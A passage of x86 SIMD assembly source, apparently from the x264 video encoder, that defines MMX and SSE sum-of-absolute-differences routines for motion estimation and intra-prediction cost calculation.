paddw mm0, mm1
lea r0, [r0+2*r1]
lea r2, [r2+2*r3]
%endmacro
;-----------------------------------------------------------------------------
; int x264_pixel_sad_16x16_mmxext (uint8_t *, int, uint8_t *, int )
;-----------------------------------------------------------------------------
%macro SAD 2
cglobal x264_pixel_sad_%1x%2_mmxext, 4,4
pxor mm0, mm0
%rep %2/2
SAD_INC_2x%1P
%endrep
movd eax, mm0
RET
%endmacro
SAD 16, 16
SAD 16, 8
SAD 8, 16
SAD 8, 8
SAD 8, 4
SAD 4, 8
SAD 4, 4
;=============================================================================
; SAD XMM
;=============================================================================
%macro SAD_END_SSE2 0
movhlps m1, m0
paddw m0, m1
movd eax, m0
RET
%endmacro
%macro SAD_W16 1
;-----------------------------------------------------------------------------
; int x264_pixel_sad_16x16_sse2 (uint8_t *, int, uint8_t *, int )
;-----------------------------------------------------------------------------
cglobal x264_pixel_sad_16x16_%1, 4,4,8
movdqu m0, [r2]
movdqu m1, [r2+r3]
lea r2, [r2+2*r3]
movdqu m2, [r2]
movdqu m3, [r2+r3]
lea r2, [r2+2*r3]
psadbw m0, [r0]
psadbw m1, [r0+r1]
lea r0, [r0+2*r1]
movdqu m4, [r2]
paddw m0, m1
psadbw m2, [r0]
psadbw m3, [r0+r1]
lea r0, [r0+2*r1]
movdqu m5, [r2+r3]
lea r2, [r2+2*r3]
paddw m2, m3
movdqu m6, [r2]
movdqu m7, [r2+r3]
lea r2, [r2+2*r3]
paddw m0, m2
psadbw m4, [r0]
psadbw m5, [r0+r1]
lea r0, [r0+2*r1]
movdqu m1, [r2]
paddw m4, m5
psadbw m6, [r0]
psadbw m7, [r0+r1]
lea r0, [r0+2*r1]
movdqu m2, [r2+r3]
lea r2, [r2+2*r3]
paddw m6, m7
movdqu m3, [r2]
paddw m0, m4
movdqu m4, [r2+r3]
lea r2, [r2+2*r3]
paddw m0, m6
psadbw m1, [r0]
psadbw m2, [r0+r1]
lea r0, [r0+2*r1]
movdqu m5, [r2]
paddw m1, m2
psadbw m3, [r0]
psadbw m4, [r0+r1]
lea r0, [r0+2*r1]
movdqu m6, [r2+r3]
lea r2, [r2+2*r3]
paddw m3, m4
movdqu m7, [r2]
paddw m0, m1
movdqu m1, [r2+r3]
paddw m0, m3
psadbw m5, [r0]
psadbw m6, [r0+r1]
lea r0, [r0+2*r1]
paddw m5, m6
psadbw m7, [r0]
psadbw m1, [r0+r1]
paddw m7, m1
paddw m0, m5
paddw m0, m7
SAD_END_SSE2
;-----------------------------------------------------------------------------
; int x264_pixel_sad_16x8_sse2 (uint8_t *, int, uint8_t *, int )
;-----------------------------------------------------------------------------
cglobal x264_pixel_sad_16x8_%1, 4,4
movdqu m0, [r2]
movdqu m2, [r2+r3]
lea r2, [r2+2*r3]
movdqu m3, [r2]
movdqu m4, [r2+r3]
psadbw m0, [r0]
psadbw m2, [r0+r1]
lea r0, [r0+2*r1]
psadbw m3, [r0]
psadbw m4, [r0+r1]
lea r0, [r0+2*r1]
lea r2, [r2+2*r3]
paddw m0, m2
paddw m3, m4
paddw m0, m3
movdqu m1, [r2]
movdqu m2, [r2+r3]
lea r2, [r2+2*r3]
movdqu m3, [r2]
movdqu m4, [r2+r3]
psadbw m1, [r0]
psadbw m2, [r0+r1]
lea r0, [r0+2*r1]
psadbw m3, [r0]
psadbw m4, [r0+r1]
lea r0, [r0+2*r1]
lea r2, [r2+2*r3]
paddw m1, m2
paddw m3, m4
paddw m0, m1
paddw m0, m3
SAD_END_SSE2
%endmacro
INIT_XMM
SAD_W16 sse2
%define movdqu lddqu
SAD_W16 sse3
%define movdqu movdqa
SAD_W16 sse2_aligned
%undef movdqu
%macro SAD_INC_4x8P_SSE 1
movq m1, [r0]
movq m2, [r0+r1]
lea r0, [r0+2*r1]
movq m3, [r2]
movq m4, [r2+r3]
lea r2, [r2+2*r3]
movhps m1, [r0]
movhps m2, [r0+r1]
movhps m3, [r2]
movhps m4, [r2+r3]
lea r0, [r0+2*r1]
psadbw m1, m3
psadbw m2, m4
lea r2, [r2+2*r3]
%if %1
paddw m0, m1
%else
SWAP m0, m1
%endif
paddw m0, m2
%endmacro
;Even on Nehalem, no sizes other than 8x16 benefit from this method.
cglobal x264_pixel_sad_8x16_sse2, 4,4
SAD_INC_4x8P_SSE 0
SAD_INC_4x8P_SSE 1
SAD_INC_4x8P_SSE 1
SAD_INC_4x8P_SSE 1
SAD_END_SSE2
RET
;-----------------------------------------------------------------------------
; void intra_sad_x3_4x4 ( uint8_t *fenc, uint8_t *fdec, int res[3] );
;-----------------------------------------------------------------------------
cglobal x264_intra_sad_x3_4x4_mmxext, 3,3
pxor mm7, mm7
movd mm0, [r1-FDEC_STRIDE]
movd mm1, [r0+FENC_STRIDE*0]
movd mm2, [r0+FENC_STRIDE*2]
punpckldq mm0, mm0
punpckldq mm1, [r0+FENC_STRIDE*1]
punpckldq mm2, [r0+FENC_STRIDE*3]
movq mm6, mm0
movq mm3, mm1
psadbw mm3, mm0
psadbw mm0, mm2
paddw mm0, mm3
movd [r2], mm0 ;V prediction cost
movd mm3, [r1+FDEC_STRIDE*0-4]
movd mm0, [r1+FDEC_STRIDE*1-4]
movd mm4, [r1+FDEC_STRIDE*2-4]
movd mm5, [r1+FDEC_STRIDE*3-4]
punpcklbw mm3, mm0
punpcklbw mm4, mm5
movq mm5, mm3
punpckhwd mm5, mm4
punpckhdq mm5, mm6
psadbw mm5, mm7
punpckhbw mm3, mm3
punpckhbw mm4, mm4
punpckhwd mm3, mm3
punpckhwd mm4, mm4
psraw mm5, 2
pavgw mm5, mm7
punpcklbw mm5, mm5
pshufw mm5, mm5, 0x0 ;DC prediction
movq mm6, mm5
psadbw mm5, mm1
psadbw mm6, mm2
psadbw mm1, mm3
psadbw mm2, mm4
paddw mm5, mm6
paddw mm1, mm2
movd [r2+8], mm5 ;DC prediction cost
movd [r2+4], mm1 ;H prediction cost
RET
;-----------------------------------------------------------------------------
; void intra_sad_x3_8x8 ( uint8_t *fenc, uint8_t edge[33], int res[3]);
;-----------------------------------------------------------------------------
;m0 = DC
;m6 = V
;m7 = H
;m1 = DC score
;m2 = V score
;m3 = H score
;m5 = pixel row
;m4 = temp
%macro INTRA_SAD_HVDC_ITER 2
movq m5, [r0+FENC_STRIDE*%1]
movq m4, m5
psadbw m4, m0
%if %1
paddw m1, m4
%else
SWAP m1, m4
%endif
movq m4, m5
psadbw m4, m6
%if %1
paddw m2, m4
%else
SWAP m2, m4
%endif
pshufw m4, m7, %2
psadbw m5, m4
%if %1
paddw m3, m5
%else
SWAP m3, m5
%endif
%endmacro
INIT_MMX
cglobal x264_intra_sad_x3_8x8_mmxext, 3,3
movq m7, [r1+7]
pxor m0, m0
movq m6, [r1+16] ;V prediction
pxor m1, m1
psadbw m0, m7
psadbw m1, m6
paddw m0, m1
paddw m0, [pw_8 GLOBAL]
psrlw m0, 4
punpcklbw m0, m0
pshufw m0, m0, 0x0 ;DC prediction
punpckhbw m7, m7
INTRA_SAD_HVDC_ITER 0, 0xff
INTRA_SAD_HVDC_ITER 1, 0xaa
INTRA_SAD_HVDC_ITER 2, 0x55
INTRA_SAD_HVDC_ITER 3, 0x00
movq m7, [r1+7]
punpcklbw m7, m7
INTRA_SAD_HVDC_ITER 4, 0xff
INTRA_SAD_HVDC_ITER 5, 0xaa
INTRA_SAD_HVDC_ITER 6, 0x55
INTRA_SAD_HVDC_ITER 7, 0x00
movd [r2+0], m2
movd [r2+4], m3
movd [r2+8], m1
RET
;-----------------------------------------------------------------------------
; void intra_sad_x3_8x8c ( uint8_t *fenc, uint8_t *fdec, int res[3] );
;-----------------------------------------------------------------------------
%macro INTRA_SAD_HV_ITER 2
%ifidn %2, ssse3
movd m1, [r1 + FDEC_STRIDE*(%1-4) - 4]
movd m3, [r1 + FDEC_STRIDE*(%1-3) - 4]
pshufb m1, m7
pshufb m3, m7
%else
movq m1, [r1 + FDEC_STRIDE*(%1-4) - 8]
movq m3, [r1 + FDEC_STRIDE*(%1-3) - 8]
punpckhbw m1, m1
punpckhbw m3, m3
pshufw m1, m1, 0xff
pshufw m3, m3, 0xff
%endif
movq m4, [r0 + FENC_STRIDE*(%1+0)]
movq m5, [r0 + FENC_STRIDE*(%1+1)]
psadbw m1, m4
psadbw m3, m5
psadbw m4, m6
psadbw m5, m6
paddw m1, m3
paddw m4, m5
%if %1
paddw m0, m1
paddw m2, m4
%else
SWAP 0,1
SWAP 2,4
%endif
%endmacro
%macro INTRA_SAD_8x8C 1
cglobal x264_intra_sad_x3_8x8c_%1, 3,3
movq m6, [r1 - FDEC_STRIDE]
add r1, FDEC_STRIDE*4
%ifidn %1,ssse3
movq m7, [pb_3 GLOBAL]
%endif
INTRA_SAD_HV_ITER 0, %1
INTRA_SAD_HV_ITER 2, %1
INTRA_SAD_HV_ITER 4, %1
INTRA_SAD_HV_ITER 6, %1
movd [r2+4], m0
movd [r2+8], m2
pxor m7, m7
movq m2, [r1 + FDEC_STRIDE*-4 - 8]
movq m4, [r1 + FDEC_STRIDE*-2 - 8]
movq m3, [r1 + FDEC_STRIDE* 0 - 8]
movq m5, [r1 + FDEC_STRIDE* 2 - 8]
punpckhbw m2, [r1 + FDEC_STRIDE*-3 - 8]
punpckhbw m4, [r1 + FDEC_STRIDE*-1 - 8]
punpckhbw m3, [r1 + FDEC_STRIDE* 1 - 8]
punpckhbw m5, [r1 + FDEC_STRIDE* 3 - 8]
punpckhbw m2, m4
punpckhbw m3, m5
psrlq m2, 32
psrlq m3, 32
psadbw m2, m7 ; s2
psadbw m3, m7 ; s3
movq m1, m6
SWAP 0, 6
punpckldq m0, m7
punpckhdq m1, m7
psadbw m0, m7 ; s0
psadbw m1, m7 ; s1
punpcklwd m0, m1
punpcklwd m2, m3
punpckldq m0, m2 ;s0 s1 s2 s3
pshufw m3, m0, 11110110b ;s2,s1,s3,s3
pshufw m0, m0, 01110100b ;s0,s1,s3,s1
paddw m0, m3
psrlw m0, 2
pavgw m0, m7 ; s0+s2, s1, s3, s1+s3
%ifidn %1, ssse3
movq2dq xmm0, m0
pshufb xmm0, [pb_shuf8x8c GLOBAL]
movq xmm1, [r0+FENC_STRIDE*0]
movq xmm2, [r0+FENC_STRIDE*1]
movq xmm3, [r0+FENC_STRIDE*2]
movq xmm4, [r0+FENC_STRIDE*3]
movhps xmm1, [r0+FENC_STRIDE*4]
movhps xmm2, [r0+FENC_STRIDE*5]
movhps xmm3, [r0+FENC_STRIDE*6]
movhps xmm4, [r0+FENC_STRIDE*7]
psadbw xmm1, xmm0
psadbw xmm2, xmm0
psadbw xmm3, xmm0
psadbw xmm4, xmm0
paddw xmm1, xmm2
paddw xmm1, xmm3
paddw xmm1, xmm4
movhlps xmm0, xmm1
paddw xmm1, xmm0
movd [r2], xmm1
%else
packuswb m0, m0
punpcklbw m0, m0
movq m1, m0
punpcklbw m0, m0 ; 4x dc0 4x dc1
punpckhbw m1, m1 ; 4x dc2 4x dc3
movq m2, [r0+FENC_STRIDE*0]
movq m3, [r0+FENC_STRIDE*1]
movq m4, [r0+FENC_STRIDE*2]
movq m5, [r0+FENC_STRIDE*3]
movq m6, [r0+FENC_STRIDE*4]
movq m7, [r0+FENC_STRIDE*5]
psadbw m2, m0
psadbw m3, m0
psadbw m4, m0
psadbw m5, m0
movq m0, [r0+FENC_STRIDE*6]
psadbw m6, m1
psadbw m7, m1
psadbw m0, m1
psadbw m1, [r0+FENC_STRIDE*7]
paddw m2, m3
paddw m4, m5
paddw m6, m7
paddw m0, m1
paddw m2, m4
paddw m6, m0
paddw m2, m6
movd [r2], m2
%endif
RET
%endmacro
INIT_MMX
INTRA_SAD_8x8C mmxext
INTRA_SAD_8x8C ssse3
;-----------------------------------------------------------------------------
; void intra_sad_x3_16x16 ( uint8_t *fenc, uint8_t *fdec, int res[3] );
;-----------------------------------------------------------------------------
;xmm7: DC prediction xmm6: H prediction xmm5: V prediction
;xmm4: DC pred score xmm3: H pred score xmm2: V pred score
%macro INTRA_SAD16 1-2 0
cglobal x264_intra_sad_x3_16x16_%1,3,5,%2
pxor mm0, mm0
pxor mm1, mm1
psadbw mm0, [r1-FDEC_STRIDE+0]
psadbw mm1, [r1-FDEC_STRIDE+8]
paddw mm0, mm1
movd r3d, mm0
%ifidn %1, ssse3
mova m1, [pb_3 GLOBAL]
%endif
%assign x 0
%rep 16
movzx r4d, byte [r1-1+FDEC_STRIDE*x]
add r3d, r4d
%assign x x+1
%endrep
add r3d, 16
shr r3d, 5
imul r3d, 0x01010101
movd m7, r3d
mova m5, [r1-FDEC_STRIDE]
%if mmsize==16
pshufd m7, m7, 0
%else
mova m1, [r1-FDEC_STRIDE+8]
punpckldq m7, m7
%endif
pxor m4, m4
pxor m3, m3
pxor m2, m2
mov r3d, 15*FENC_STRIDE
.vloop:
SPLATB m6, r1+r3*2-1, m1
mova m0, [r0+r3]
psadbw m0, m7
paddw m4, m0
mova m0, [r0+r3]
psadbw m0, m5
paddw m2, m0
%if mmsize==8
mova m0, [r0+r3]
psadbw m0, m6
paddw m3, m0
mova m0, [r0+r3+8]
psadbw m0, m7
paddw m4, m0
mova m0, [r0+r3+8]
psadbw m0, m1
paddw m2, m0
psadbw m6, [r0+r3+8]
paddw m3, m6
%else
psadbw m6, [r0+r3]
paddw m3, m6
%endif
add r3d, -FENC_STRIDE
jge .vloop
%if mmsize==16
pslldq m3, 4
por m3, m2
movhlps m1, m3
paddw m3, m1
movq [r2+0], m3
movhlps m1, m4
paddw m4, m1
%else
movd [r2+0], m2
movd [r2+4], m3
%endif
movd [r2+8], m4
RET
%endmacro
INIT_MMX
%define SPLATB SPLATB_MMX
INTRA_SAD16 mmxext
INIT_XMM
INTRA_SAD16 sse2, 8
%define SPLATB SPLATB_SSSE3
INTRA_SAD16 ssse3, 8
;=============================================================================
; SAD x3/x4 MMX
;=============================================================================
%macro SAD_X3_START_1x8P 0
movq mm3, [r0]
movq mm0, [r1]
movq mm1, [r2]
movq mm2, [r3]
psadbw mm0, mm3
psadbw mm1, mm3
psadbw mm2, mm3
%endmacro
%macro SAD_X3_1x8P 2
movq mm3, [r0+%1]
movq mm4, [r1+%2]
movq mm5, [r2+%2]
movq mm6, [r3+%2]
psadbw mm4, mm3
psadbw mm5, mm3
psadbw mm6, mm3
paddw mm0, mm4
paddw mm1, mm5
paddw mm2, mm6
%endmacro
%macro SAD_X3_START_2x4P 3
movd mm3, [r0]
movd %1, [r1]
movd %2, [r2]
movd %3, [r3]
punpckldq mm3, [r0+FENC_STRIDE]
punpckldq %1, [r1+r4]
punpckldq %2, [r2+r4]
punpckldq %3, [r3+r4]
psadbw %1, mm3
psadbw %2, mm3
psadbw %3, mm3
%endmacro
%macro SAD_X3_2x16P 1
%if %1
SAD_X3_START_1x8P
%else
SAD_X3_1x8P 0, 0
%endif
SAD_X3_1x8P 8, 8
SAD_X3_1x8P FENC_STRIDE, r4
SAD_X3_1x8P FENC_STRIDE+8, r4+8
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r4]
lea r2, [r2+2*r4]
lea r3, [r3+2*r4]
%endmacro
%macro SAD_X3_2x8P 1
%if %1
SAD_X3_START_1x8P
%else
SAD_X3_1x8P 0, 0
%endif
SAD_X3_1x8P FENC_STRIDE, r4
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r4]
lea r2, [r2+2*r4]
lea r3, [r3+2*r4]
%endmacro
%macro SAD_X3_2x4P 1
%if %1
SAD_X3_START_2x4P mm0, mm1, mm2
%else
SAD_X3_START_2x4P mm4, mm5, mm6
paddw mm0, mm4
paddw mm1, mm5
paddw mm2, mm6
%endif
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r4]
lea r2, [r2+2*r4]
lea r3, [r3+2*r4]
%endmacro
%macro SAD_X4_START_1x8P 0
movq mm7, [r0]
movq mm0, [r1]
movq mm1, [r2]
movq mm2, [r3]
movq mm3, [r4]
psadbw mm0, mm7
psadbw mm1, mm7
psadbw mm2, mm7
psadbw mm3, mm7
%endmacro
%macro SAD_X4_1x8P 2
movq mm7, [r0+%1]
movq mm4, [r1+%2]
movq mm5, [r2+%2]
movq mm6, [r3+%2]
psadbw mm4, mm7
psadbw mm5, mm7
psadbw mm6, mm7
psadbw mm7, [r4+%2]
paddw mm0, mm4
paddw mm1, mm5
paddw mm2, mm6
paddw mm3, mm7
%endmacro
%macro SAD_X4_START_2x4P 0
movd mm7, [r0]
movd mm0, [r1]
movd mm1, [r2]
movd mm2, [r3]
movd mm3, [r4]
punpckldq mm7, [r0+FENC_STRIDE]
punpckldq mm0, [r1+r5]
punpckldq mm1, [r2+r5]
punpckldq mm2, [r3+r5]
punpckldq mm3, [r4+r5]
psadbw mm0, mm7
psadbw mm1, mm7
psadbw mm2, mm7
psadbw mm3, mm7
%endmacro
%macro SAD_X4_INC_2x4P 0
movd mm7, [r0]
movd mm4, [r1]
movd mm5, [r2]
punpckldq mm7, [r0+FENC_STRIDE]
punpckldq mm4, [r1+r5]
punpckldq mm5, [r2+r5]
psadbw mm4, mm7
psadbw mm5, mm7
paddw mm0, mm4
paddw mm1, mm5
movd mm4, [r3]
movd mm5, [r4]
punpckldq mm4, [r3+r5]
punpckldq mm5, [r4+r5]
psadbw mm4, mm7
psadbw mm5, mm7
paddw mm2, mm4
paddw mm3, mm5
%endmacro
%macro SAD_X4_2x16P 1
%if %1
SAD_X4_START_1x8P
%else
SAD_X4_1x8P 0, 0
%endif
SAD_X4_1x8P 8, 8
SAD_X4_1x8P FENC_STRIDE, r5
SAD_X4_1x8P FENC_STRIDE+8, r5+8
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r5]
lea r2, [r2+2*r5]
lea r3, [r3+2*r5]
lea r4, [r4+2*r5]
%endmacro
%macro SAD_X4_2x8P 1
%if %1
SAD_X4_START_1x8P
%else
SAD_X4_1x8P 0, 0
%endif
SAD_X4_1x8P FENC_STRIDE, r5
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r5]
lea r2, [r2+2*r5]
lea r3, [r3+2*r5]
lea r4, [r4+2*r5]
%endmacro
%macro SAD_X4_2x4P 1
%if %1
SAD_X4_START_2x4P
%else
SAD_X4_INC_2x4P
%endif
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r5]
lea r2, [r2+2*r5]
lea r3, [r3+2*r5]
lea r4, [r4+2*r5]
%endmacro
%macro SAD_X3_END 0
%ifdef UNIX64
movd [r5+0], mm0
movd [r5+4], mm1
movd [r5+8], mm2
%else
mov r0, r5mp
movd [r0+0], mm0
movd [r0+4], mm1
movd [r0+8], mm2
%endif
RET
%endmacro
%macro SAD_X4_END 0
mov r0, r6mp
movd [r0+0], mm0
movd [r0+4], mm1
movd [r0+8], mm2
movd [r0+12], mm3
RET
%endmacro
;-----------------------------------------------------------------------------
; void x264_pixel_sad_x3_16x16_mmxext( uint8_t *fenc, uint8_t *pix0, uint8_t *pix1,
; uint8_t *pix2, int i_stride, int scores[3] )
;-----------------------------------------------------------------------------
%macro SAD_X 3
cglobal x264_pixel_sad_x%1_%2x%3_mmxext, %1+2, %1+2
%ifdef WIN64
%assign i %1+1
movsxd r %+ i, r %+ i %+ d
%endif
SAD_X%1_2x%2P 1
%rep %3/2-1
SAD_X%1_2x%2P 0
%endrep
SAD_X%1_END
%endmacro
SAD_X 3, 16, 16
SAD_X 3, 16, 8
SAD_X 3, 8, 16
SAD_X 3, 8, 8
SAD_X 3, 8, 4
SAD_X 3, 4, 8
SAD_X 3, 4, 4
SAD_X 4, 16, 16
SAD_X 4, 16, 8
SAD_X 4, 8, 16
SAD_X 4, 8, 8
SAD_X 4, 8, 4
SAD_X 4, 4, 8
SAD_X 4, 4, 4
;=============================================================================
; SAD x3/x4 XMM
;=============================================================================
%macro SAD_X3_START_1x16P_SSE2 0
movdqa xmm3, [r0]
movdqu xmm0, [r1]
movdqu xmm1, [r2]
movdqu xmm2, [r3]
psadbw xmm0, xmm3
psadbw xmm1, xmm3
psadbw xmm2, xmm3
%endmacro
%macro SAD_X3_1x16P_SSE2 2
movdqa xmm3, [r0+%1]
movdqu xmm4, [r1+%2]
movdqu xmm5, [r2+%2]
movdqu xmm6, [r3+%2]
psadbw xmm4, xmm3
psadbw xmm5, xmm3
psadbw xmm6, xmm3
paddw xmm0, xmm4
paddw xmm1, xmm5
paddw xmm2, xmm6
%endmacro
%macro SAD_X3_2x16P_SSE2 1
%if %1
SAD_X3_START_1x16P_SSE2
%else
SAD_X3_1x16P_SSE2 0, 0
%endif
SAD_X3_1x16P_SSE2 FENC_STRIDE, r4
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r4]
lea r2, [r2+2*r4]
lea r3, [r3+2*r4]
%endmacro
%macro SAD_X3_START_2x8P_SSE2 0
movq xmm7, [r0]
movq xmm0, [r1]
movq xmm1, [r2]
movq xmm2, [r3]
movhps xmm7, [r0+FENC_STRIDE]
movhps xmm0, [r1+r4]
movhps xmm1, [r2+r4]
movhps xmm2, [r3+r4]
psadbw xmm0, xmm7
psadbw xmm1, xmm7
psadbw xmm2, xmm7
%endmacro
%macro SAD_X3_2x8P_SSE2 0
movq xmm7, [r0]
movq xmm3, [r1]
movq xmm4, [r2]
movq xmm5, [r3]
movhps xmm7, [r0+FENC_STRIDE]
movhps xmm3, [r1+r4]
movhps xmm4, [r2+r4]
movhps xmm5, [r3+r4]
psadbw xmm3, xmm7
psadbw xmm4, xmm7
psadbw xmm5, xmm7
paddw xmm0, xmm3
paddw xmm1, xmm4
paddw xmm2, xmm5
%endmacro
%macro SAD_X4_START_2x8P_SSE2 0
movq xmm7, [r0]
movq xmm0, [r1]
movq xmm1, [r2]
movq xmm2, [r3]
movq xmm3, [r4]
movhps xmm7, [r0+FENC_STRIDE]
movhps xmm0, [r1+r5]
movhps xmm1, [r2+r5]
movhps xmm2, [r3+r5]
movhps xmm3, [r4+r5]
psadbw xmm0, xmm7
psadbw xmm1, xmm7
psadbw xmm2, xmm7
psadbw xmm3, xmm7
%endmacro
%macro SAD_X4_2x8P_SSE2 0
movq xmm7, [r0]
movq xmm4, [r1]
movq xmm5, [r2]
%ifdef ARCH_X86_64
movq xmm6, [r3]
movq xmm8, [r4]
movhps xmm7, [r0+FENC_STRIDE]
movhps xmm4, [r1+r5]
movhps xmm5, [r2+r5]
movhps xmm6, [r3+r5]
movhps xmm8, [r4+r5]
psadbw xmm4, xmm7
psadbw xmm5, xmm7
psadbw xmm6, xmm7
psadbw xmm8, xmm7
paddw xmm0, xmm4
paddw xmm1, xmm5
paddw xmm2, xmm6
paddw xmm3, xmm8
%else
movhps xmm7, [r0+FENC_STRIDE]
movhps xmm4, [r1+r5]
movhps xmm5, [r2+r5]
psadbw xmm4, xmm7
psadbw xmm5, xmm7
paddw xmm0, xmm4
paddw xmm1, xmm5
movq xmm6, [r3]
movq xmm4, [r4]
movhps xmm6, [r3+r5]
movhps xmm4, [r4+r5]
psadbw xmm6, xmm7
psadbw xmm4, xmm7
paddw xmm2, xmm6
paddw xmm3, xmm4
%endif
%endmacro
%macro SAD_X4_START_1x16P_SSE2 0
movdqa xmm7, [r0]
movdqu xmm0, [r1]
movdqu xmm1, [r2]
movdqu xmm2, [r3]
movdqu xmm3, [r4]
psadbw xmm0, xmm7
psadbw xmm1, xmm7
psadbw xmm2, xmm7
psadbw xmm3, xmm7
%endmacro
%macro SAD_X4_1x16P_SSE2 2
movdqa xmm7, [r0+%1]
movdqu xmm4, [r1+%2]
movdqu xmm5, [r2+%2]
movdqu xmm6, [r3+%2]
%ifdef ARCH_X86_64
movdqu xmm8, [r4+%2]
psadbw xmm4, xmm7
psadbw xmm5, xmm7
psadbw xmm6, xmm7
psadbw xmm8, xmm7
paddw xmm0, xmm4
paddw xmm1, xmm5
paddw xmm2, xmm6
paddw xmm3, xmm8
%else
psadbw xmm4, xmm7
psadbw xmm5, xmm7
paddw xmm0, xmm4
psadbw xmm6, xmm7
movdqu xmm4, [r4+%2]
paddw xmm1, xmm5
psadbw xmm4, xmm7
paddw xmm2, xmm6
paddw xmm3, xmm4
%endif
%endmacro
%macro SAD_X4_2x16P_SSE2 1
%if %1
SAD_X4_START_1x16P_SSE2
%else
SAD_X4_1x16P_SSE2 0, 0
%endif
SAD_X4_1x16P_SSE2 FENC_STRIDE, r5
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r5]
lea r2, [r2+2*r5]
lea r3, [r3+2*r5]
lea r4, [r4+2*r5]
%endmacro
%macro SAD_X3_2x8P_SSE2 1
%if %1
SAD_X3_START_2x8P_SSE2
%else
SAD_X3_2x8P_SSE2
%endif
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r4]
lea r2, [r2+2*r4]
lea r3, [r3+2*r4]
%endmacro
%macro SAD_X4_2x8P_SSE2 1
%if %1
SAD_X4_START_2x8P_SSE2
%else
SAD_X4_2x8P_SSE2
%endif
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r5]
lea r2, [r2+2*r5]
lea r3, [r3+2*r5]
lea r4, [r4+2*r5]
%endmacro
%macro SAD_X3_END_SSE2 0
movhlps xmm4, xmm0
movhlps xmm5, xmm1
movhlps xmm6, xmm2
paddw xmm0, xmm4
paddw xmm1, xmm5
paddw xmm2, xmm6
%ifdef UNIX64
movd [r5+0], xmm0
movd [r5+4], xmm1
movd [r5+8], xmm2
%else
mov r0, r5mp
movd [r0+0], xmm0
movd [r0+4], xmm1
movd [r0+8], xmm2
%endif
RET
%endmacro
%macro SAD_X4_END_SSE2 0
mov r0, r6mp
psllq xmm1, 32
psllq xmm3, 32
paddw xmm0, xmm1
paddw xmm2, xmm3
movhlps xmm1, xmm0
movhlps xmm3, xmm2
paddw xmm0, xmm1
paddw xmm2, xmm3
movq [r0+0], xmm0
movq [r0+8], xmm2
RET
%endmacro
%macro SAD_X3_START_1x16P_SSE2_MISALIGN 0
movdqa xmm2, [r0]
movdqu xmm0, [r1]
movdqu xmm1, [r2]
psadbw xmm0, xmm2
psadbw xmm1, xmm2
psadbw xmm2, [r3]
%endmacro
%macro SAD_X3_1x16P_SSE2_MISALIGN 2
movdqa xmm3, [r0+%1]
movdqu xmm4, [r1+%2]
movdqu xmm5, [r2+%2]
psadbw xmm4, xmm3
psadbw xmm5, xmm3
psadbw xmm3, [r3+%2]
paddw xmm0, xmm4
paddw xmm1, xmm5
paddw xmm2, xmm3
%endmacro
%macro SAD_X4_START_1x16P_SSE2_MISALIGN 0
movdqa xmm3, [r0]
movdqu xmm0, [r1]
movdqu xmm1, [r2]
movdqu xmm2, [r3]
psadbw xmm0, xmm3
psadbw xmm1, xmm3
psadbw xmm2, xmm3
psadbw xmm3, [r4]
%endmacro
%macro SAD_X4_1x16P_SSE2_MISALIGN 2
movdqa xmm7, [r0+%1]
movdqu xmm4, [r1+%2]
movdqu xmm5, [r2+%2]
movdqu xmm6, [r3+%2]
psadbw xmm4, xmm7
psadbw xmm5, xmm7
psadbw xmm6, xmm7
psadbw xmm7, [r4+%2]
paddw xmm0, xmm4
paddw xmm1, xmm5
paddw xmm2, xmm6
paddw xmm3, xmm7
%endmacro
%macro SAD_X3_2x16P_SSE2_MISALIGN 1
%if %1
SAD_X3_START_1x16P_SSE2_MISALIGN
%else
SAD_X3_1x16P_SSE2_MISALIGN 0, 0
%endif
SAD_X3_1x16P_SSE2_MISALIGN FENC_STRIDE, r4
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r4]
lea r2, [r2+2*r4]
lea r3, [r3+2*r4]
%endmacro
%macro SAD_X4_2x16P_SSE2_MISALIGN 1
%if %1
SAD_X4_START_1x16P_SSE2_MISALIGN
%else
SAD_X4_1x16P_SSE2_MISALIGN 0, 0
%endif
SAD_X4_1x16P_SSE2_MISALIGN FENC_STRIDE, r5
add r0, 2*FENC_STRIDE
lea r1, [r1+2*r5]
lea r2, [r2+2*r5]
lea r3, [r3+2*r5]
lea r4, [r4+2*r5]
%endmacro
;-----------------------------------------------------------------------------
; void x264_pixel_sad_x3_16x16_sse2( uint8_t *fenc, uint8_t *pix0, uint8_t *pix1,
; uint8_t *pix2, int i_stride, int scores[3] )
;-----------------------------------------------------------------------------
%macro SAD_X_SSE2 4
cglobal x264_pixel_sad_x%1_%2x%3_%4, 2+%1,2+%1,9
%ifdef WIN64
%assign i %1+1
movsxd r %+ i, r %+ i %+ d
%endif
SAD_X%1_2x%2P_SSE2 1
%rep %3/2-1
SAD_X%1_2x%2P_SSE2 0
%endrep
SAD_X%1_END_SSE2
%endmacro
%macro SAD_X_SSE2_MISALIGN 4
cglobal x264_pixel_sad_x%1_%2x%3_%4_misalign, 2+%1,2+%1,9
%ifdef WIN64
%assign i %1+1
movsxd r %+ i, r %+ i %+ d
%endif
SAD_X%1_2x%2P_SSE2_MISALIGN 1
%rep %3/2-1
SAD_X%1_2x%2P_SSE2_MISALIGN 0
%endrep
SAD_X%1_END_SSE2
%endmacro
SAD_X_SSE2 3, 16, 16, sse2
SAD_X_SSE2 3, 16, 8, sse2
SAD_X_SSE2 3, 8, 16, sse2
SAD_X_SSE2 3, 8, 8, sse2
SAD_X_SSE2 3, 8, 4, sse2
SAD_X_SSE2 4, 16, 16, sse2
SAD_X_SSE2 4, 16, 8, sse2
SAD_X_SSE2 4, 8, 16, sse2
SAD_X_SSE2 4, 8, 8, sse2
SAD_X_SSE2 4, 8, 4, sse2
SAD_X_SSE2_MISALIGN 3, 16, 16, sse2
SAD_X_SSE2_MISALIGN 3, 16, 8, sse2
SAD_X_SSE2_MISALIGN 4, 16, 16, sse2
SAD_X_SSE2_MISALIGN 4, 16, 8, sse2
%define movdqu lddqu
SAD_X_SSE2 3, 16, 16, sse3
SAD_X_SSE2 3, 16, 8, sse3
SAD_X_SSE2 4, 16, 16, sse3
SAD_X_SSE2 4, 16, 8, sse3
%undef movdqu
